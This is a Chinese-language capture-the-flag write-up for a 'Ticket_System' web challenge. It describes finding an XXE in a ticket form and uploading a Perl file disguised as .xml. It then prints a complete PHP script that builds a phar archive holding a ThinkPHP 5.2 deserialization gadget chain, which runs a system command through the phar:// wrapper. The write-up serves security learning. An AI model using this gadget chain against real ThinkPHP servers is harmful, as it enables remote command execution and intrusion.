Ticket_System
首先查看一下源碼,發現有hint
告訴我們hint.txt不在web根目錄,在服務器根目錄。
接着隨便輸入一下,登進去,界面如下
可以上傳xml文件,或者填TICKET表單。
fuzz了半天發現文件上傳這邊好像是白名單,應該是沒有洞了,那就只能着手於這個Ticket表單了,填入一些內容 submit,抓一下包康康?
這邊貌似有xxe??????
果然有xxe,我們看一下hint.txt裏面是什麼
要我們去執行RCE,之前的報錯頁面可以知到這邊用的是thinkphp5.2.0
然而xxe的時候不僅僅可以用file協議的,還可以用phar協議
phar序列化走一波 ???嘿嘿嘿 ,下面我們開始構造
由於我之前已經做過了,這邊執行readflag的時候有一個坑點
要讓你快速計算
這篇文章有詳解
https://zhuanlan.zhihu.com/p/65202417
所以我們先上傳一個perl文件,注意這裏要將其後綴改爲.xml
現在開始構造,代碼如下(這裏用的smi1e師傅的鏈)
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("perl /tmp/uploads/4c7e666e48a33cbf1a0fb89ac69c1014/20191110/d46fcd63923e7897cc7674913a47a99f.xml");
$payload = new think\process\pipes\Windows($Conver);
@unlink("1.phar");
$phar = new Phar("1.phar"); //後綴名必須爲phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
$phar->setMetadata($payload); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>
生成出來的1.phar改一下後綴爲1.xml,上傳上去,得到路徑後,直接phar協議搞到flag